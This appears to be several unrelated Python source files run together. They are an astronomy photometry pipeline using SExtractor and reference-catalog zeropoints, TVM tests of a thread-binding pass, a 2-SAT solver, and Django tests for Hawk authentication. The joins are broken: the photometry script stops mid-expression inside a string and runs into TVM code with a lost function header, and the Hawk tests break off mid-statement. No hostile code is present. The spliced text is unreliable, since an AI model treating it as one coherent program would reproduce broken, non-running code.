3) except: date_obs = None jd = None #------------------------------------------------------------ # NAME INFO #------------------------------------------------------------ part = inim.split('-') obs = part[1] obj = part[2] refmagkey = part[5] # refmagkey = 'B' refmagerkey = refmagkey+'err' #------------------------------------------------------------ gain, pixscale, rdnoise = tool.getccdinfo(obs, path_obs) #------------------------------------------------------------ cat = head+'.cat' cat_gc = head+'.gcurve.cat' seg = head+'.seg.fits' bkg = head+'.bkg.fits' sub = head+'.sub.fits' psf = head+'.psf' aper = head+'.aper.fits' # GROWTH CURVE NAMES param_gc = path_config+'/growthcurve.param' conv_gc = path_config+'/growthcurve.conv' nnw_gc = path_config+'/growthcurve.nnw' conf_gc = path_config+'/growthcurve.sex' # PHOTOMETRY NAMES param = path_config+'/gregoryphot.param' conv = path_config+'/gregoryphot.conv' nnw = path_config+'/gregoryphot.nnw' conf = path_config+'/gregoryphot.sex' #------------------------------------------------------------ # SOURCE EXTRACTOR CONFIGURATION FOR GROTH CURVE #------------------------------------------------------------ param_gcurve = dict(#------------------------------ # CATALOG #------------------------------ CATALOG_NAME = cat_gc, #------------------------------ # CONFIG FILES #------------------------------ CONF_NAME = conf_gc, PARAMETERS_NAME = param_gc, FILTER_NAME = conv_gc, STARNNW_NAME = nnw_gc, #------------------------------ # EXTRACTION #------------------------------ # PSF_NAME = psf, DETECT_MINAREA = '5', DETECT_THRESH = '3.0', DEBLEND_NTHRESH = '64', DEBLEND_MINCONT = '0.0001', #------------------------------ # PHOTOMETRY #------------------------------ PHOT_APERTURES = aper_input, SATUR_LEVEL = '65000.0', # MAG_ZEROPOINT = '0.0', GAIN = str(gain), PIXEL_SCALE = str(pixscale), #------------------------------ # STAR/GALAXY SEPARATION #------------------------------ SEEING_FWHM = '3.0', #------------------------------ # BACKGROUND #------------------------------ BACK_SIZE = '32', BACK_FILTERSIZE = '10', BACKPHOTO_TYPE = 'LOCAL', #------------------------------ # CHECK IMAGE #------------------------------ # CHECKIMAGE_TYPE = 'SEGMENTATION,APERTURES,BACKGROUND,-BACKGROUND', # CHECKIMAGE_NAME = '{},{},{},{}'.format(seg, aper, bkg, sub), ) print('1. GROWTH CURVE') os.system(phot.sexcom(inim, param_gcurve)) setbl = ascii.read(cat_gc) # setbl.write(cat, format='ascii', overwrite=True) reftbl = query.querybox(refcatname, obj, racent, decent, path_refcat, radius=1.0, refmagkey=refmagkey) # CENTER POS. & DIST CUT deldist = phot.sqsum((xcent-setbl['X_IMAGE']), (ycent-setbl['Y_IMAGE'])) # indx_dist = np.where(deldist < np.sqrt(frac)*(xcent+ycent)/2.) indx_dist = np.where(deldist < frac*(xcent+ycent)/2.) intbl = setbl[indx_dist] # intbl.write(cat, format='ascii', overwrite=True) # MATCHING param_match = dict( intbl=intbl, reftbl=reftbl, inra=intbl['ALPHA_J2000'], indec=intbl['DELTA_J2000'], refra=reftbl['ra'], refdec=reftbl['dec'], sep=3.0) mtbl = phot.matching(**param_match) # ZEROPOINT CALCULATION param_st4zp = dict( intbl=mtbl, inmagerkey=inmagkey, refmagkey=refmagkey, refmagerkey=refmagerkey, refmaglower=refmaglower, refmagupper=refmagupper, refmagerupper=refmagerupper, inmagerupper=inmagerupper, flagcut=flagcut, ) param_zpcal = dict( intbl=phot.star4zp(**param_st4zp), inmagkey=inmagkey, inmagerkey=inmagerkey, refmagkey=refmagkey, refmagerkey=refmagerkey, sigma=2.0, # method='weightedmean', ) zp, zper, otbl, xtbl = phot.zpcal(**param_zpcal) alltbl = vstack([otbl, xtbl]) alltbl = alltbl[alltbl['NUMBER'].argsort()] seeing_input = str(np.median(alltbl['FWHM_WORLD'])*3600) # print('SEEING\t'+seeing_input) aperture, optapers = gcurve.gcurveplot(inim, alltbl, apertures) #------------------------------------------------------------ # SOURCE EXTRACTOR CONFIGURATION FOR PHOTOMETRY #------------------------------------------------------------ # aperture = 50 param_insex = dict( #------------------------------ # CATALOG #------------------------------ CATALOG_NAME = cat, #------------------------------ # CONFIG FILES #------------------------------ CONF_NAME = conf, PARAMETERS_NAME = param, FILTER_NAME = conv, STARNNW_NAME = nnw, #------------------------------ # EXTRACTION #------------------------------ # PSF_NAME = psf, DETECT_MINAREA = '5', # DETECT_MINAREA = '3', # DETECT_THRESH = '1.0', # DETECT_THRESH = '1.25', # DETECT_THRESH = '1.3', DETECT_THRESH = '1.5', # DETECT_THRESH = '3.0', DEBLEND_NTHRESH = '64', DEBLEND_MINCONT = '0.00001', #------------------------------ # PHOTOMETRY #------------------------------ PHOT_APERTURES = str(aperture), SATUR_LEVEL = '65000.0', MAG_ZEROPOINT = '0.0', GAIN = str(gain), PIXEL_SCALE = str(pixscale), #------------------------------ # STAR/GALAXY SEPARATION #------------------------------ # SEEING_FWHM = '3.0', SEEING_FWHM = seeing_input, #------------------------------ # BACKGROUND #------------------------------ BACK_SIZE = '64', # BACK_SIZE = '128', # BACK_SIZE = '256', BACK_FILTERSIZE = '3', BACKPHOTO_TYPE = 'LOCAL', #------------------------------ # CHECK IMAGE #------------------------------ CHECKIMAGE_TYPE = 'SEGMENTATION,APERTURES,BACKGROUND,-BACKGROUND', CHECKIMAGE_NAME = '{},{},{},{}'.format(seg, aper, bkg, sub), ) print('2. SOURCE EXTRACTOR') com = phot.sexcom(inim, param_insex) sexout = subprocess.getoutput(com) line = [s for s in sexout.split('\n') if 'RMS' in s] skymed, skysig = float(line[0].split('Background:')[1].split('RMS:')[0]), float(line[0].split('RMS:')[1].split('/')[0]) # peeing, seeing = phot.psfex(inim, pixscale) setbl = ascii.read(cat) #------------------------------------------------------------ # CENTER POS. & DIST CUT #------------------------------------------------------------ deldist = phot.sqsum((xcent-setbl['X_IMAGE']), (ycent-setbl['Y_IMAGE'])) # indx_dist = np.where(deldist < np.sqrt(frac)*(xcent+ycent)/2.) indx_dist = np.where(deldist < frac*(xcent+ycent)/2.) intbl = setbl # intbl.write(cat, format='ascii', overwrite=True) frctbl = setbl[indx_dist] #------------------------------------------------------------ # MATCHING #------------------------------------------------------------ param_match = dict( intbl=frctbl, reftbl=reftbl, inra=frctbl['ALPHA_J2000'], indec=frctbl['DELTA_J2000'], refra=reftbl['ra'], refdec=reftbl['dec'], sep=3.0) # sep=seeing_input) print('3. MATCHING') mtbl = phot.matching(**param_match) # mtbl.write(cat, format='ascii', overwrite=True) #------------------------------------------------------------ # ZEROPOINT CALCULATION #------------------------------------------------------------ param_st4zp = dict( intbl=mtbl, inmagerkey=inmagerkey, refmagkey=refmagkey, refmagerkey=refmagerkey, refmaglower=refmaglower, refmagupper=refmagupper, refmagerupper=refmagerupper, inmagerupper=inmagerupper, verbose=True, plot=True, flagcut=flagcut, plotout=inim[:-5]+'.star.png') param_zpcal = dict( intbl=phot.star4zp(**param_st4zp), inmagkey=inmagkey, inmagerkey=inmagerkey, refmagkey=refmagkey, refmagerkey=refmagerkey, sigma=2.0, # method='weightedmean', ) print('4. ZERO POINT CALCULATION') zp, zper, otbl, xtbl = phot.zpcal(**param_zpcal) #------------------------------------------------------------ # ZEROPOINT PLOT #------------------------------------------------------------ phot.zpplot(outname='{}.zpcal.png'.format(head, inmagkey), otbl=otbl, xtbl=xtbl, inmagkey=inmagkey, inmagerkey=inmagerkey, refmagkey=refmagkey, refmagerkey=refmagerkey, zp=zp, zper=zper) param_plot = dict( inim = inim, numb_list = otbl['NUMBER'], xim_list = otbl['X_IMAGE'], yim_list = otbl['Y_IMAGE'], add = True, numb_addlist= xtbl['NUMBER'], xim_addlist = xtbl['X_IMAGE'], yim_addlist = xtbl['Y_IMAGE']) print('5. PLOT') try: phot.plotshow(**param_plot) plt.close('all') except: print('FAIL TO DRAW ZEROPOINT GRAPH') pass #------------------------------------------------------------ # TARGET PHOTOMETRY #------------------------------------------------------------ print('6. BACKGROUND ESTIMATION') # skymean, skymed, skysig = phot.bkgest_mask(inim) peeing, seeing = np.median(intbl['FWHM_IMAGE']), np.median(intbl['FWHM_WORLD'])*3600 ellipticity = np.median(intbl['ELLIPTICITY']) aper = 2*peeing ul_3sig = phot.limitmag(3, zp, aper, skysig) ul_5sig = phot.limitmag(5, zp, aper, skysig) #------------------------------------------------------------ # ADD HEADER INFO #------------------------------------------------------------ print('7. CHANGE HEADER') phot.puthdr(inim, 'PHOTIME',date.today().isoformat(), hdrcomment='PHTOMETRY TIME [KR]') phot.puthdr(inim, 'SEEING', round(seeing, 3), hdrcomment='SEEING [arcsec]') phot.puthdr(inim, 'PEEING', round(peeing, 3), hdrcomment='SEEING [pixel]') phot.puthdr(inim, 'ELLIPTICITY', round(ellipticity, 3), hdrcomment='ELLIPTICITY [0-1]') phot.puthdr(inim, 'APERPIX', aperture, hdrcomment='APERTURE DIAMETER [pixel]') phot.puthdr(inim, 'APER', round(aperture*pixscale, 3), hdrcomment='APERTURE DIAMETER [arcsec]') phot.puthdr(inim, 'NAPER', round(aperture/peeing, 3), hdrcomment='N = APERTURE/PEEING') phot.puthdr(inim, 'SKYSIG', round(skysig, 3), hdrcomment='SKY SIGMA VALUE') phot.puthdr(inim, 'SKYVAL', round(skymed, 3), hdrcomment='SKY MEDIAN VALUE') phot.puthdr(inim, 'REFCAT', refcatname, hdrcomment='REFERENCE CATALOG NAME') phot.puthdr(inim, 'MAGLOW', refmaglower, hdrcomment='REF MAG RANGE, BRIGHT LIMIT') phot.puthdr(inim, 'MAGUP', refmagupper, hdrcomment='REF MAG RANGE, DIM LIMIT') phot.puthdr(inim, 'STDNUMB',len(otbl), hdrcomment='# OF STD STARS') phot.puthdr(inim, 'ZP', round(zp, 3), hdrcomment='2*SEEING DIAMETER') phot.puthdr(inim, 'ZPERR',round(zper, 3), hdrcomment='2*SEEING DIAMETER') phot.puthdr(inim, 'UL3SIG', round(ul_3sig, 3), hdrcomment='2*SEEING 3 sigma limit mag') phot.puthdr(inim, 'UL5SIG', round(ul_5sig, 5), hdrcomment='2*SEEING 5 sigma limit mag') print('8. PHOTOMETRY TABLE') #------------------------------------------------------------ # NORMAL PHOTOMETRY #------------------------------------------------------------ if phottype == 'normal': intbl['REAL_'+inmagkey] = zp + intbl[inmagkey] intbl['REAL_'+inmagerkey] = phot.sqsum(zper, intbl[inmagerkey]) indx_targ = phot.targetfind(tra, tdec, intbl['ALPHA_J2000'], intbl['DELTA_J2000'], sep=seeing) if indx_targ != None: # print(indx_targ) print(intbl['X_IMAGE'][indx_targ], intbl['Y_IMAGE'][indx_targ]) mag, mager = intbl[indx_targ]['REAL_'+inmagkey], intbl[indx_targ]['REAL_'+inmagerkey] radeg, dedeg = np.asscalar(intbl['ALPHA_J2000'][indx_targ]), np.asscalar(intbl['DELTA_J2000'][indx_targ]) radeg, dedeg = intbl['ALPHA_J2000'][indx_targ].item(), intbl['DELTA_J2000'][indx_targ].item() else: mag, mager = -99, -99 radeg, dedeg = -99, -99 #------------------------------------------------------------ # SUBTRACTION PHOTOMETRY #------------------------------------------------------------ elif phottype == 'subt': if os.path.dirname(inim) == '': interval = './' else: interval = '/' subim = os.path.dirname(inim)+interval+'hd'+os.path.basename(inim) subpsf = os.path.dirname(inim)+interval+'hd'+os.path.basename(inim)[:-5]+'.psf' subcat = os.path.dirname(inim)+interval+'hd'+os.path.basename(inim)[:-5]+'.cat' # os.system('cp {} {}'.format(psf, subim[:-5]+'.psf')) param_subsex= dict( #------------------------------ # CATALOG #------------------------------ CATALOG_NAME = subcat, #------------------------------ # CONFIG FILES #------------------------------ CONF_NAME = conf, PARAMETERS_NAME = param, FILTER_NAME = conv, STARNNW_NAME = nnw, #------------------------------ # EXTRACTION #------------------------------ # PSF_NAME = psf, DETECT_MINAREA = '5', DETECT_THRESH = '3.0', DEBLEND_NTHRESH = '64', DEBLEND_MINCONT = '0.0000001', #------------------------------ # PHOTOMETRY #------------------------------ PHOT_APERTURES = aperture, SATUR_LEVEL = '65000.0', MAG_ZEROPOINT = '0.0', GAIN = str(gain), PIXEL_SCALE = str(pixscale), #------------------------------ # STAR/GALAXY SEPARATION #------------------------------ SEEING_FWHM = seeing_input, #------------------------------ # BACKGROUND #------------------------------ BACK_SIZE = '128', BACK_FILTERSIZE = '10', BACKPHOTO_TYPE = 'LOCAL', #------------------------------ # CHECK IMAGE #------------------------------ CHECKIMAGE_TYPE = 'SEGMENTATION,APERTURES,BACKGROUND,-BACKGROUND', CHECKIMAGE_NAME = '{},{},{},{}'.format(seg, aper, bkg, sub),) os.system(phot.sexcom(subim, param_subsex)) subtbl = ascii.read(subcat) subtbl['REAL_'+inmagkey] = zp + subtbl[inmagkey] subtbl['REAL_'+inmagerkey] = phot.sqsum(zper, subtbl[inmagerkey]) indx_targ = phot.targetfind(tra, tdec, subtbl['ALPHA_J2000'], subtbl['DELTA_J2000'], sep=2*seeing) if indx_targ != None: mag, mager = subtbl[indx_targ]['REAL_'+inmagkey], subtbl[indx_targ]['REAL_'+inmagerkey] radeg, dedeg = subtbl['ALPHA_J2000'][indx_targ].item(), subtbl['DELTA_J2000'][indx_targ].item() else: mag, mager = -99, -99 # radeg, dedeg = subtbl['ALPHA_J2000'][indx_targ].item(), subtbl['DELTA_J2000'][indx_targ].item() radeg, dedeg = tra, tdec #------------------------------------------------------------ # CALC. DEPTH #------------------------------------------------------------ elif phottype == 'depth': mag, mager = -99, -99 radeg, dedeg = np.median(intbl['ALPHA_J2000']), np.median(intbl['DELTA_J2000']) onetbl = Table([[inim], [obs], [obj], [radeg], [dedeg], [date_obs], [jd], [refmagkey], [len(otbl)], [round(zp, 3)], [round(zper, 3)], [round(seeing, 3)], [round(ellipticity, 3)], [round(skymed, 3)], [round(skysig, 3)], [round(ul_3sig, 3)], [round(ul_5sig, 3)], [round(mag, 3)], [round(mager, 3)], [round(aperture, 3)]], names=('image', 'obs', 'obj', 'ra', 'dec', 'date-obs', 'jd', 'filter', 'stdnumb', 'zp', 'zper', 'seeing', 'ellipticity', 'skyval', 'skysig', 'ul_3sig', 'ul_5sig','mag', 'magerr', 'aper_dia_pix')) tbl = ascii.read(cat) tbl['REAL_'+inmagkey] = zp + tbl[inmagkey] tbl['REAL_'+inmagerkey] = phot.sqsum(zper, tbl[inmagerkey]) tbl.write(cat, format='ascii.tab', overwrite=True) return onetbl #============================================================ # USER SETTING #============================================================ os.system('ls *.fits') imkey = input('image to process\t: ') if imkey == '': imkey = '*com.fits' starttime = time.time() imlist = glob.glob(imkey) imlist.sort() for img in imlist: print(img) print(len(imlist)) #------------------------------------------------------------ # inim = '/data1/Test/Calib-DOAO-NGC5350-20190503-145856-R-60.fits' path_base = './' radius = 1.0 # [DEGREE] # frac = 1.0 # IMAGE FRACTION [%] # frac = 0.9 frac = 0.75 # frac = 0.5 refcatname = 'PS1' # REFERENCE CATALOG # refcatname = 'APASS' # refcatname = 'SDSS' # refcatname = '2MASS' #------------------------------------------------------------ inmagkey = 'MAG_APER' inmagerkey = 'MAGERR_APER' # inmagkey = 'MAG_AUTO' # inmagerkey = 'MAGERR_AUTO' #------------------------------------------------------------ # refmaglower, refmagupper = 12, 17 # LOAO # refmaglower, refmagupper = 12, 17 # MAO # refmaglower, refmagupper = 14, 17 # REF MAG RANGE [MAG] refmaglower, refmagupper = 12, 20 # REF MAG RANGE [MAG] # refmaglower, refmagupper = 12, 18 # REF MAG RANGE [MAG] # refmaglower, refmagupper = 10, 19 # REF MAG RANGE [MAG] deep DOAO # refmaglower, refmagupper = 0, 16.5 # REF MAG RANGE [MAG] # refmaglower, refmagupper = 12, 16.0 # CBNUO # refmaglower, refmagupper = 0, 18.5 # DOAO # refmaglower, refmagupper = 15, 25 # DOAO # refmagerupper = 0.1 refmagerupper = 0.05 inmagerupper = 0.05 #------------------------------------------------------------ # tra, tdec = 208.3714550, 40.2754194 # tra, tdec = 185.7288542, 15.8236250 # SN2020oi # tra, tdec = 161.6379008, 13.7418711 # SN2018kp # tra, tdec = 44.5438520, -8.9577875 # GRB 190829A # tra, tdec = 261.2277917, 31.4283333 # tra, tdec = 260.8090281, 14.3502257 # IceCube201021A tra, tdec = 42.1846250, 12.1372444 # AT2020yxz # tra, tdec = 94.1635667, -21.4998250 # AT2020zyy #------------------------------------------------------------ phottype = 'normal' # phottype = 'subt' # phottype = 'depth' #------------------------------------------------------------ # aperture = str(input('aperture:')) # DIAMETER # apertures = np.arange(1, 16.5, 0.5) # LOAO # apertures = np.arange(1, 17.0, 0.5) # LOAO # apertures = np.arange(1, 20.0, 0.75) # apertures = np.arange(5, 35.0, 1.0) # SOAO # apertures = np.arange(5, 50, 1.5) # SOAO # apertures = np.arange(1, 36.5, 1.5) # deep DOAO # apertures = np.arange(6.25, 39.25, 1.25) # deep DOAO # apertures = np.arange(30, 70, 1.5) # deep DOAO # apertures = np.arange(10, 62, 2) #// deep DOAO # apertures = np.arange(5, 40, 1.5) #// deep DOAO apertures = np.arange(3, 25, 1.0) #// deep DOAO aper_input = '' for i in apertures: aper_input = aper_input+'{},'.format(i) aper_input = aper_input[:-1] #------------------------------------------------------------ # PATH #------------------------------------------------------------ path_refcat = '/home/sonic/Research/cat/refcat' path_obs = '/home/sonic/Research/table' path_config = '/home/sonic/Research/yourpy/gppy/config' #============================================================ # MAIN COMMAND #============================================================ tblist = [] plt.rcParams["figure.figsize"] = (10, 10) # time.sleep(900) for i, inim in enumerate(imlist): print('-'*60) print(inim, '[{}/{}]'.format(i+1, len(imlist))) print('-'*60) param_phot = dict( inim = inim, phottype = phottype, tra = tra, tdec = tdec, radius = radius, frac = frac, path_base = path_base, path_refcat = path_refcat, path_obs = path_obs, path_config = path_config, refcatname = refcatname, refmaglower = refmaglower, refmagupper = refmagupper, refmagerupper = refmagerupper, inmagerupper = inmagerupper, flagcut = 0, # flagcut = 2, apertures = apertures, aper_input = aper_input, ) ''' for key in param_phot.keys(): print(key, param_phot[key]) ''' # tblist.append(gcurvephot(**param_phot)) try: tblist.append(gcurvephot(**param_phot)) except: pass # os.system('rm *.aper.fits *.bkg.fits *.sub.fits') # os.system('rm psf*.fits snap*.fits *.xml *sub.fits *.aper.fits *.bkg.fits *.seg.fits') #------------------------------------------------------------ # FINISH #------------------------------------------------------------ if len(tblist) == 0: print('PHOTOMETRY FAILED!') else: photbl = vstack(tblist) # if 'phot.dat' in glob.glob(path_base+'/phot.dat'): # os.system('mv {} {}'.format(path_base+'/phot.dat', path_base+'/phot.dat.bkg')) ''' # phot.dat REPLACE photlist = glob.glob('phot*.dat') if 'phot.dat' in photlist: photnumb = 0 phot_rpl = 'phot.{}.dat'.format(photnumb) while phot_rpl not in photlist: photnumb += 1 com = 'mv phot.dat {}'.format(phot_rpl) print(com) os.system(com) ''' photbl.write(path_base+'/phot.dat', format='ascii.tab', overwrite=True) print('='*60) print('All PROCESS IS DONE.\t('+str(round(time.time() - starttime, 2))+' sec)') print('-'*60) print(photbl['filter', 'date-obs', 'seeing', 'skyval', 'skysig', 'ul_5sig', 'mag', 'magerr']) single = ''' inim = inim phottype = phottype tra = tra tdec = tdec radius = radius frac = frac path_base = path_base path_refcat = path_refcat path_obs = path_obs path_config = path_config refcatname = refcatname refmaglower = refmaglower refmagupper = refmagupper refmagerupper = refmagerupper inmagerupper = inmagerupper flagcut = 0 apertures = apertures aper_input = aper_input ''' image_quality = ''' plt.close('all') step = +0.1 med = np.median(photbl['ul_5sig']) std = np.std(photbl['ul_5sig']) indx = np.where( # (photbl['ul_5sig']>med+2*std) | (photbl['ul_5sig'] None: j1_0 = T.env_thread("threadIdx.x") j0_0 = T.env_thread("threadIdx.x") i = T.env_thread("blockIdx.x") A = T.match_buffer(a, [128, 128]) B = T.match_buffer(b, [128, 128]) C = T.match_buffer(c, [128, 128]) T.launch_thread(i, 128) with T.launch_thread(j0_0, 4): for j0_1 in T.serial(0, 32): T.store( B.data, i * 128 + j0_0 * 32 + j0_1, T.load("float32", A.data, i * 128 + j0_0 * 32 + j0_1) * 2.0, True, ) T.launch_thread(j1_0, 4) for j1_1 in T.serial(0, 32): T.store( C.data, i * 128 + j1_0 * 32 + j1_1, T.load("float32", A.data, i * 128 + j1_0 * 32 + j1_1) + 1.0, True, ) @T.prim_func def unified_element_wise_thread_x(a: T.handle, b: T.handle, c: T.handle) -> None: thread_x = T.env_thread("threadIdx.x") block_x = T.env_thread("blockIdx.x") A = T.match_buffer(a, [128, 128]) B = T.match_buffer(b, [128, 128]) C = T.match_buffer(c, [128, 128]) T.launch_thread(block_x, 128) with T.launch_thread(thread_x, 4): for j0_1 in T.serial(0, 32): T.store( B.data, block_x * 128 + thread_x * 32 + j0_1, T.load("float32", A.data, block_x * 128 + thread_x * 32 + j0_1) * 2.0, True, ) T.launch_thread(thread_x, 4) for j1_1 in T.serial(0, 32): T.store( C.data, block_x * 128 + thread_x * 32 + j1_1, T.load("float32", A.data, block_x * 128 + thread_x * 32 + j1_1) + 1.0, True, ) @T.prim_func def element_wise_vthread_x(a: T.handle, b: T.handle) -> None: i_0 = T.env_thread("vthread.x") i_1 = T.env_thread("threadIdx.x") j_0 = T.env_thread("vthread.x") A = T.match_buffer(a, [128, 128]) B = T.match_buffer(b, [128, 128]) T.launch_thread(i_0, 2) T.launch_thread(i_1, 64) T.launch_thread(j_0, 2) for j_1 in T.serial(0, 64): T.store( B.data, i_0 * 8192 + i_1 * 128 + j_0 * 64 + j_1, T.load("float32", A.data, i_0 * 8192 + i_1 * 128 + j_0 * 64 + j_1) * 2.0, True, ) @T.prim_func def unified_element_wise_vthread_x(a: T.handle, b: T.handle) -> None: vthread_x = T.env_thread("vthread.x") thread_x = T.env_thread("threadIdx.x") A = T.match_buffer(a, [128, 128]) B = T.match_buffer(b, [128, 128]) T.launch_thread(vthread_x, 2) T.launch_thread(thread_x, 64) T.launch_thread(vthread_x, 2) for j_1 in T.serial(0, 64): T.store( B.data, vthread_x * 8256 + thread_x * 128 + j_1, T.load("float32", A.data, vthread_x * 8256 + thread_x * 128 + j_1) * 2.0, True, ) @T.prim_func def element_wise_two_thread_x_in_same_kernel_not_equal( a: T.handle, b: T.handle, c: T.handle ) -> None: i = T.env_thread("blockIdx.x") j0 = T.env_thread("threadIdx.x") j1 = T.env_thread("threadIdx.x") A = T.match_buffer(a, [128, 128]) B = T.match_buffer(b, [128, 128]) C = T.match_buffer(c, [128, 64]) T.launch_thread(i, 128) with T.launch_thread(j0, 128): T.store(B.data, i * 64 + j0, T.load("float32", A.data, i * 128 + j0) * 2.0, True) T.launch_thread(j1, 64) T.store(C.data, i * 64 + j1, T.load("float32", A.data, i * 128 + j1) + 1.0, True) @T.prim_func def element_wise_kernels_with_different_size( a: T.handle, b: T.handle, c: T.handle, d: T.handle ) -> None: i0 = T.env_thread("blockIdx.x") j0 = T.env_thread("threadIdx.x") i1 = T.env_thread("blockIdx.x") j1 = T.env_thread("threadIdx.x") A = T.match_buffer(a, [128, 128]) B = T.match_buffer(b, [128, 128]) C = T.match_buffer(c, [256, 256]) D = T.match_buffer(d, [256, 256]) with T.launch_thread(i0, 128): T.launch_thread(j0, 128) T.store(B.data, i0 * 128 + j0, T.load("float32", A.data, i0 * 128 + j0) * 2.0, True) T.launch_thread(i1, 256) T.launch_thread(j1, 256) T.store(D.data, i1 * 256 + j1, T.load("float32", C.data, i1 * 256 + j1) + 1.0, True) @T.prim_func def unified_element_wise_kernels_with_different_size( a: T.handle, b: T.handle, c: T.handle, d: T.handle ) -> None: block_x = T.env_thread("blockIdx.x") thread_x = T.env_thread("threadIdx.x") block_x_1 = T.env_thread("blockIdx.x") thread_x_1 = T.env_thread("threadIdx.x") A = T.match_buffer(a, [128, 128]) B = T.match_buffer(b, [128, 128]) C = T.match_buffer(c, [256, 256]) D = T.match_buffer(d, [256, 256]) with T.launch_thread(block_x, 128): T.launch_thread(thread_x, 128) T.store( B.data, block_x * 128 + thread_x, T.load("float32", A.data, block_x * 128 + thread_x) * 2.0, True, ) T.launch_thread(block_x_1, 256) T.launch_thread(thread_x_1, 256) T.store( D.data, block_x_1 * 256 + thread_x_1, T.load("float32", C.data, block_x_1 * 256 + thread_x_1) + 1.0, True, ) def test_thread_x(): _check(element_wise_thread_x, unified_element_wise_thread_x) def test_vthread_x(): _check(element_wise_vthread_x, unified_element_wise_vthread_x) def test_two_thread_x_in_same_kernel_not_equal(): _check_fail(element_wise_two_thread_x_in_same_kernel_not_equal) def test_kernels_with_different_size(): _check( element_wise_kernels_with_different_size, unified_element_wise_kernels_with_different_size ) def test_lower_te(): a = te.placeholder((32, 2, 2)) b = te.compute((32, 2, 2), lambda i, j, k: a[i, j, k] * 2.0) s = te.create_schedule(b.op) s[b].bind(b.op.axis[1], te.thread_axis("threadIdx.x")) s[b].bind(b.op.axis[2], te.thread_axis("threadIdx.x")) orig_mod = tvm.driver.build_module.schedule_to_module(s, [a, b]) mod = tvm.tir.transform.UnifyThreadBinding()(orig_mod) tvm.ir.assert_structural_equal(mod, orig_mod) # UnifyThreadBinding should do nothing on TE if __name__ == "__main__": test_thread_x() test_vthread_x() test_two_thread_x_in_same_kernel_not_equal() test_kernels_with_different_size() test_lower_te() #!/usr/bin/env python3 # -*- coding: utf-8 -*- # Solving 2-SAT boolean formulas # et - 2015 from tryalgo.strongly_connected_components import tarjan # snip{ def _vertex(lit): # codage sommet pour un littéral donné if lit > 0: return 2 * (lit - 1) else: return 2 * (-lit - 1) + 1 def two_sat(formula): """Solving a 2-SAT boolean formula :param formula: list of clauses, a clause is pair of literals over X1,...,Xn for some n. a literal is an integer, for example -1 = not X1, 3 = X3 :returns: table with boolean assignment satisfying the formula or None :complexity: linear """ # -- n est le nombre de variables n = max(abs(clause[p]) for p in (0, 1) for clause in formula) graph = [[] for node in range(2 * n)] for x, y in formula: # x or y graph[_vertex(-x)].append(_vertex(y)) # -x => y graph[_vertex(-y)].append(_vertex(x)) # -y => x sccp = tarjan(graph) comp_id = [None] * (2 * n) # pour chaque nœud l'id. de sa comp. affectations = [None] * (2 * n) for component in sccp: rep = min(component) # représentation de la composante for vtx in component: comp_id[vtx] = rep if affectations[vtx] is None: affectations[vtx] = True affectations[vtx ^ 1] = False # littéral complémentaire for i in range(n): if comp_id[2 * i] == comp_id[2 * i + 1]: return None # formule insatisfiable return affectations[::2] # snip} import datetime from collections.abc import Mapping import mohawk import pytest from django.urls import reverse from freezegun import freeze_time from rest_framework import status from rest_framework.test import APIRequestFactory from datahub.core.test.support.views import HawkViewWithScope from datahub.core.test_utils import create_test_user def _url(): return 'http://testserver' + reverse('test-hawk-without-scope') def _url_incorrect_domain(): return 'http://incorrect' + reverse('test-hawk-without-scope') def _url_incorrect_path(): return 'http://testserver' + reverse('test-hawk-without-scope') + 'incorrect/' def _url_with_scope(): return 'http://testserver' + reverse('test-hawk-with-scope') def _auth_sender( key_id='test-id-without-scope', secret_key='test-key-without-scope', url=_url, method='GET', content='', content_type='', ): credentials = { 'id': key_id, 'key': secret_key, 'algorithm': 'sha256', } return mohawk.Sender( credentials, url(), method, content=content, content_type=content_type, ) def _resolve_value(value): if isinstance(value, Mapping): return {item_key: _resolve_value(item_value) for item_key, item_value in value.items()} if callable(value): return value() return value @pytest.mark.django_db @pytest.mark.urls('datahub.core.test.support.urls') class TestHawkAuthentication: """Tests Hawk authentication when using HawkAuthentication.""" @pytest.mark.parametrize( 'get_kwargs,expected_json', ( ( # If the Authorization header isn't passed { 'content_type': '', }, {'detail': 'Authentication credentials were not provided.'}, ), ( # If the Authorization header generated from an incorrect ID { 'content_type': '', 'HTTP_AUTHORIZATION': lambda: _auth_sender(key_id='incorrect').request_header, }, {'detail': 'Incorrect authentication credentials.'}, ), ( # If the Authorization header generated from an incorrect secret { 'content_type': '', 'HTTP_AUTHORIZATION': lambda: _auth_sender(secret_key='incorrect').request_header, }, {'detail': 'Incorrect authentication credentials.'}, ), ( # If the Authorization header generated from an incorrect domain { 'content_type': '', 'HTTP_AUTHORIZATION': lambda: _auth_sender(url=_url_incorrect_domain).request_header, }, {'detail': 'Incorrect authentication credentials.'}, ), ( # If the Authorization header generated from an incorrect path { 'content_type': '', 'HTTP_AUTHORIZATION': lambda: _auth_sender(url=_url_incorrect_path).request_header, }, {'detail': 'Incorrect authentication credentials.'}, ), ( # If the Authorization header generated from an incorrect method { 'content_type': '', 'HTTP_AUTHORIZATION': lambda: _auth_sender(method='POST').request_header, }, {'detail': 'Incorrect authentication credentials.'}, ), ( # If the Authorization header generated from an incorrect # content-type { 'content_type': '', 'HTTP_AUTHORIZATION': lambda: _auth_sender(content_type='incorrect').request_header, }, {'detail': 'Incorrect authentication credentials.'}, ), ( # If the Authorization header generated from incorrect content { 'content_type': '', 'HTTP_AUTHORIZATION': lambda: _auth_sender(content='incorrect').request_header, }, {'detail': 'Incorrect authentication credentials.'}, ), ), ) def test_401_returned(self, api_client, get_kwargs, expected_json): """If the request isn't properly Hawk-authenticated, then a 401 is returned """ resolved_get_kwargs = _resolve_value(get_kwargs) response = api_client.get( _url(), **resolved_get_kwargs, ) assert response.status_code == status.HTTP_401_UNAUTHORIZED assert response.json() == expected_json def test_if_61_seconds_in_past_401_returned(self, api_client): """If the Authorization header is generated 61 seconds in the past, then a 401 is returned """ past = datetime.datetime.now() - datetime.timedelta(seconds=61) with freeze_time(past): auth = _auth_sender().request_header response = api_client.get( reverse('test-hawk-without-scope'), content_type='', HTTP_AUTHORIZATION=auth, ) assert response.status_code == status.HTTP_401_UNAUTHORIZED assert response.json() == {'detail': 'Incorrect authentication credentials.'} @pytest.mark.usefixtures('local_memory_cache') def test_if_authentication_reused_401_returned(self, api_client): """If the Authorization header is reused, then a 401 is returned""" auth = _auth_sender().request_header response_1 = api_client.get( _url(), content_type='', HTTP_AUTHORIZATION=auth, ) assert response_1.status_code == status.HTTP_200_OK response_2 = api_client.get( _url(), content_type='', HTTP_AUTHORIZATION=auth, ) assert response_2.status_code == status.HTTP_401_UNAUTHORIZED assert response_2.json() == {'detail': 